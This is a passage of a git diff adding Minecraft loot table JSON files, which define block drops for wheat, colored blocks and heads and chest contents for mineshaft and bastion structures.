"minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/wheat.json b/src/data/minecraft/loot_tables/blocks/wheat.json new file mode 100644 index 00000000..7758a74d --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/wheat.json @@ -0,0 +1,66 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:alternatives", + "children": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:wheat", + "properties": { + "age": "7" + } + } + ], + "name": "minecraft:wheat" + }, + { + "type": "minecraft:item", + "name": "minecraft:wheat_seeds" + } + ] + } + ] + }, + { + "rolls": 1.0, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:apply_bonus", + "enchantment": "minecraft:fortune", + "formula": "minecraft:binomial_with_bonus_count", + "parameters": { + "extra": 3, + "probability": 0.5714286 + } + } + ], + "name": "minecraft:wheat_seeds" + } + ], + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:wheat", + "properties": { + "age": "7" + } + } + ] + } + ], + "functions": [ + { + "function": "minecraft:explosion_decay" + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/white_banner.json b/src/data/minecraft/loot_tables/blocks/white_banner.json new file mode 100644 index 00000000..ec994ab7 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/white_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:white_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/white_bed.json b/src/data/minecraft/loot_tables/blocks/white_bed.json new file mode 100644 index 00000000..f4870d11 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/white_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:white_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:white_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/white_carpet.json b/src/data/minecraft/loot_tables/blocks/white_carpet.json new file mode 100644 index 00000000..b54a6303 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/white_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:white_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/white_concrete.json b/src/data/minecraft/loot_tables/blocks/white_concrete.json new file mode 100644 index 00000000..77b23d65 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/white_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:white_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/white_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/white_concrete_powder.json new file mode 100644 index 00000000..29c01d21 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/white_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:white_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/white_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/white_glazed_terracotta.json new file mode 100644 index 00000000..7bfe7e85 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/white_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:white_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/white_shulker_box.json b/src/data/minecraft/loot_tables/blocks/white_shulker_box.json new file mode 100644 index 00000000..6638c527 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/white_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:white_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/white_stained_glass.json b/src/data/minecraft/loot_tables/blocks/white_stained_glass.json new file mode 100644 index 00000000..ad428a2a --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/white_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:white_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/white_stained_glass_pane.json b/src/data/minecraft/loot_tables/blocks/white_stained_glass_pane.json new file mode 100644 index 00000000..ab35c0b8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/white_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:white_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/white_terracotta.json b/src/data/minecraft/loot_tables/blocks/white_terracotta.json new file mode 100644 index 00000000..6dbcf535 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/white_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:white_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/white_tulip.json b/src/data/minecraft/loot_tables/blocks/white_tulip.json new file mode 100644 index 00000000..6894e320 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/white_tulip.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:white_tulip" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/white_wool.json b/src/data/minecraft/loot_tables/blocks/white_wool.json new file mode 100644 index 00000000..1659bc55 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/white_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:white_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/wither_rose.json b/src/data/minecraft/loot_tables/blocks/wither_rose.json new file mode 100644 index 00000000..74a4cfdd --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/wither_rose.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:wither_rose" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/wither_skeleton_skull.json b/src/data/minecraft/loot_tables/blocks/wither_skeleton_skull.json new file mode 100644 index 00000000..9e972291 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/wither_skeleton_skull.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:wither_skeleton_skull" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/yellow_banner.json b/src/data/minecraft/loot_tables/blocks/yellow_banner.json new file mode 100644 index 00000000..5c8e9b75 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/yellow_banner.json @@ -0,0 +1,36 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Patterns", + "target": "BlockEntityTag.Patterns", + "op": "replace" + } + ] + } + ], + "name": "minecraft:yellow_banner" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/yellow_bed.json b/src/data/minecraft/loot_tables/blocks/yellow_bed.json new file mode 100644 index 00000000..ddbf55ae --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/yellow_bed.json @@ -0,0 +1,28 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "conditions": [ + { + "condition": "minecraft:block_state_property", + "block": "minecraft:yellow_bed", + "properties": { + "part": "head" + } + } + ], + "name": "minecraft:yellow_bed" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/yellow_carpet.json b/src/data/minecraft/loot_tables/blocks/yellow_carpet.json new file mode 100644 index 00000000..498d657b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/yellow_carpet.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:yellow_carpet" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/yellow_concrete.json b/src/data/minecraft/loot_tables/blocks/yellow_concrete.json new file mode 100644 index 00000000..4dab306f --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/yellow_concrete.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:yellow_concrete" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/yellow_concrete_powder.json b/src/data/minecraft/loot_tables/blocks/yellow_concrete_powder.json new file mode 100644 index 00000000..2004d228 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/yellow_concrete_powder.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:yellow_concrete_powder" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/yellow_glazed_terracotta.json b/src/data/minecraft/loot_tables/blocks/yellow_glazed_terracotta.json new file mode 100644 index 00000000..83f769b8 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/yellow_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:yellow_glazed_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/yellow_shulker_box.json b/src/data/minecraft/loot_tables/blocks/yellow_shulker_box.json new file mode 100644 index 00000000..0f118e87 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/yellow_shulker_box.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:copy_name", + "source": "block_entity" + }, + { + "function": "minecraft:copy_nbt", + "source": "block_entity", + "ops": [ + { + "source": "Lock", + "target": "BlockEntityTag.Lock", + "op": "replace" + }, + { + "source": "LootTable", + "target": "BlockEntityTag.LootTable", + "op": "replace" + }, + { + "source": "LootTableSeed", + "target": "BlockEntityTag.LootTableSeed", + "op": "replace" + } + ] + }, + { + "function": "minecraft:set_contents", + "entries": [ + { + "type": "minecraft:dynamic", + "name": "minecraft:contents" + } + ] + } + ], + "name": "minecraft:yellow_shulker_box" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/yellow_stained_glass.json b/src/data/minecraft/loot_tables/blocks/yellow_stained_glass.json new file mode 100644 index 00000000..28d4b333 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/yellow_stained_glass.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:yellow_stained_glass" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/yellow_stained_glass_pane.json b/src/data/minecraft/loot_tables/blocks/yellow_stained_glass_pane.json new file mode 100644 index 00000000..607504ec --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/yellow_stained_glass_pane.json @@ -0,0 +1,29 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:yellow_stained_glass_pane" + } + ], + "conditions": [ + { + "condition": "minecraft:match_tool", + "predicate": { + "enchantments": [ + { + "enchantment": "minecraft:silk_touch", + "levels": { + "min": 1 + } + } + ] + } + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/yellow_terracotta.json b/src/data/minecraft/loot_tables/blocks/yellow_terracotta.json new file mode 100644 index 00000000..c6008803 --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/yellow_terracotta.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:yellow_terracotta" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/yellow_wool.json b/src/data/minecraft/loot_tables/blocks/yellow_wool.json new file mode 100644 index 00000000..b7ed2aae --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/yellow_wool.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:yellow_wool" + } + ], + "conditions": [ + { + "condition": "minecraft:survives_explosion" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/blocks/zombie_head.json b/src/data/minecraft/loot_tables/blocks/zombie_head.json new file mode 100644 index 00000000..1468698b --- /dev/null +++ b/src/data/minecraft/loot_tables/blocks/zombie_head.json @@ -0,0 +1,14 @@ +{ + "type": "minecraft:block", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "name": "minecraft:zombie_head" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/abandoned_mineshaft.json b/src/data/minecraft/loot_tables/chests/abandoned_mineshaft.json new file mode 100644 index 00000000..0162df31 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/abandoned_mineshaft.json @@ -0,0 +1,282 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "weight": 20, + "name": "minecraft:golden_apple" + }, + { + "type": "minecraft:item", + "name": "minecraft:enchanted_golden_apple" + }, + { + "type": "minecraft:item", + "weight": 30, + "name": "minecraft:name_tag" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:book" + }, + { + "type": "minecraft:item", + "weight": 5, + "name": "minecraft:iron_pickaxe" + }, + { + "type": "minecraft:empty", + "weight": 5 + } + ] + }, + { + "rolls": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 9.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:redstone" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 9.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:lapis_lazuli" + }, + { + "type": "minecraft:item", + "weight": 3, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:diamond" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:coal" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:bread" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:melon_seeds" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:pumpkin_seeds" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:beetroot_seeds" + } + ] + }, + { + "rolls": 3, + "entries": [ + { + "type": "minecraft:item", + "weight": 20, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:rail" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:powered_rail" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:detector_rail" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:activator_rail" + }, + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 16.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:torch" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/bastion_bridge.json b/src/data/minecraft/loot_tables/chests/bastion_bridge.json new file mode 100644 index 00000000..af001a49 --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/bastion_bridge.json @@ -0,0 +1,279 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:lodestone" + } + ] + }, + { + "rolls": { + "min": 1.0, + "max": 2.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_damage", + "damage": { + "min": 0.1, + "max": 0.5 + } + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:crossbow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 10.0, + "max": 28.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:spectral_arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 8.0, + "max": 12.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gilded_blackstone" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:crying_obsidian" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:gold_block" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 9.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_ingot" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 4.0, + "max": 9.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_ingot" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:golden_sword" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_chestplate" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_helmet" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_leggings" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_boots" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_axe" + } + ] + }, + { + "rolls": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:string" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:leather" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 5.0, + "max": 17.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:iron_nugget" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_nugget" + } + ] + } + ] +} \ No newline at end of file diff --git a/src/data/minecraft/loot_tables/chests/bastion_hoglin_stable.json b/src/data/minecraft/loot_tables/chests/bastion_hoglin_stable.json new file mode 100644 index 00000000..434afc2d --- /dev/null +++ b/src/data/minecraft/loot_tables/chests/bastion_hoglin_stable.json @@ -0,0 +1,337 @@ +{ + "type": "minecraft:chest", + "pools": [ + { + "rolls": 1, + "entries": [ + { + "type": "minecraft:item", + "weight": 15, + "functions": [ + { + "function": "minecraft:set_damage", + "damage": { + "min": 0.15, + "max": 0.8 + } + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:diamond_shovel" + }, + { + "type": "minecraft:item", + "weight": 12, + "functions": [ + { + "function": "minecraft:set_damage", + "damage": { + "min": 0.15, + "max": 0.95 + } + }, + { + "function": "minecraft:set_count", + "count": 1 + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:diamond_pickaxe" + }, + { + "type": "minecraft:item", + "weight": 8, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:netherite_scrap" + }, + { + "type": "minecraft:item", + "weight": 12, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:ancient_debris" + }, + { + "type": "minecraft:item", + "weight": 5, + "functions": [ + { + "function": "minecraft:set_count", + "count": 2 + } + ], + "name": "minecraft:ancient_debris" + }, + { + "type": "minecraft:item", + "weight": 12, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:saddle" + }, + { + "type": "minecraft:item", + "weight": 16, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 4.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_block" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 8.0, + "max": 17.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:golden_carrot" + }, + { + "type": "minecraft:item", + "weight": 10, + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + } + ], + "name": "minecraft:golden_apple" + } + ] + }, + { + "rolls": { + "min": 3.0, + "max": 4.0, + "type": "minecraft:uniform" + }, + "entries": [ + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": 1 + }, + { + "function": "minecraft:enchant_randomly" + } + ], + "name": "minecraft:golden_axe" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:crying_obsidian" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 6.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:glowstone" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gilded_blackstone" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:soul_sand" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 7.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:crimson_nylium" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:gold_nugget" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 1.0, + "max": 3.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:leather" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 5.0, + "max": 17.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:arrow" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 3.0, + "max": 8.0, + "type": "minecraft:uniform" + } + } + ], + "name": "minecraft:string" + }, + { + "type": "minecraft:item", + "functions": [ + { + "function": "minecraft:set_count", + "count": { + "min": 2.0, + "max": 5.0, + "type": "minecraft:uniform" + } + } + ], + "name": 